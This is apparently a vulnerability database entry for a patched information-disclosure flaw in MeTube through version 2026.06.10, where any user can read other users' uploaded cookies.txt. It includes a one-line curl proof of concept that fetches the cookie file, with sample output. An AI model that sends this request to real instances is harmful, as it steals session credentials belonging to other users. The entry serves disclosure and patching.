| Título | alexta69 MeTube 2026.06.10 Information Disclosure |
|---|
| Descrição | Unauthorised Access to User Uploaded Cookie File
MeTube versions 2026.06.10 and below suffer from an information disclosure vulnerability. It allows any person with access to the MeTube instance to view the "cookies.txt" file, containing account access cookies for various services, uploaded by any other user.
The file is accessed via the URI "/download/.metube/cookies.txt".
Proof-of-Concept:
1. Upload a cookie file via the UI or by manually placing it in the "/downloads/.metube" directory. I used an example cookie file taken from https://docs.cyotek.com/cyowcopy/current/netscapecookieformat.html for this proof-of-concept.
2. Visit the "/download/.metube/cookies.txt" endpoint in the browser or by using a tool for making web requests such as cURL.
$ curl http://192.168.1.135:8081/download/.metube/cookies.txt
# Netscape HTTP Cookie File
# Generated by Cyotek WebCopy v1.9.1.0 on 2023-03-13T10:13:33
# Edit at your own risk.
demo.cyotek.com FALSE /features/ FALSE 1678706015 CrawlDemo_Path gamma
demo.cyotek.com FALSE / FALSE 1678706015 CrawlDemo_Domain delta
demo.cyotek.com FALSE / TRUE 1678706015 CrawlDemo_Secure epsilon
#HttpOnly_demo.cyotek.com FALSE / FALSE 1678706015 CrawlDemo_HttpOnly zeta
demo.cyotek.com FALSE /features/ FALSE 0 CrawlDemo_Session alpha
...
CWEs: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
Affected Product: https://github.com/alexta69/metube
Affected Versions: <=2026.06.10
Patched Version: 2026.06.20
Patch Commit: https://github.com/alexta69/metube/commit/ce897ee00903bf7ded406f0d7852d95dd4164add
Published Advisory: https://github.com/alexta69/metube/security/advisories/GHSA-hj5g-p3v4-3cw5
CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High) |
|---|
| Fonte | ⚠️ https://github.com/alexta69/metube/security/advisories/GHSA-hj5g-p3v4-3cw5 |
|---|
| Utilizador | Anonymous User |
|---|
| Submissão | 06/07/2026 18h04 (há 2 meses) |
|---|
| Moderação | 22/08/2026 10h20 (2 months later) |
|---|
| Estado | Aceite |
|---|
| Entrada VulDB | 394292 [alexta69 MeTube até 2026.06.10 Cookie File cookies.txt Elevação de Privilégios] |
|---|
| Pontos | 20 |
|---|